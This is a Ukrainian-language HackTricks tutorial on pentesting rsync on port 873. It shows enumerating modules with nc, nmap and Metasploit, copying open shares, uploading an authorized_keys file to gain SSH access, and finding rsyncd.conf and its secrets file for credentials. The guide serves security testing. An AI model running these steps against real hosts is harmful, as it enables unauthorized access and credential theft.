873 - Pentesting Rsync

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З вікіпедії:

rsync - це утиліта для ефективного передавання та синхронізації файлів між комп'ютером та зовнішнім жорстким диском та між мережевими комп'ютерами, порівнюючи часи змін та розміри файлів.[3] Зазвичай використовується в операційних системах подібних до Unix. Алгоритм rsync є типом кодування дельта та використовується для мінімізації використання мережі. Zlib може використовуватися для додаткового стиснення даних,[3] а SSH або stunnel можуть використовуватися для забезпечення безпеки.

Порт за замовчуванням: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Перелік

Банер та ручне спілкування

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Перелік загальних папок

Модулі Rsync визначаються як спільні каталоги, які можуть бути захищені паролями. Для ідентифікації доступних модулів та перевірки, чи потрібні для них паролі, використовуються наступні команди:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Будьте уважні, що деякі ресурси можуть не відображатися у списку, можливо, вони приховані. Крім того, доступ до деяких ресурсів може бути обмежений конкретними даними для входу, що підтверджується повідомленням "Відмовлено в доступі".

Вручному використанні Rsync

Після отримання списку модулів дії залежать від того, чи потрібна аутентифікація. Без аутентифікації перелік та копіювання файлів зі спільної папки в локальний каталог досягається через:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Цей процес рекурсивно передає файли, зберігаючи їх атрибути та дозволи.

З ідентифікаційними даними список та завантаження зі спільної папки можна виконати наступним чином, де з'явиться запит на пароль:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Для завантаження вмісту, такого як файл authorized_keys для доступу, використовуйте:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Для знаходження файлу конфігурації rsyncd виконайте:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

У цьому файлі параметр secrets file може вказувати на файл, що містить імена користувачів та паролі для аутентифікації rsyncd.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated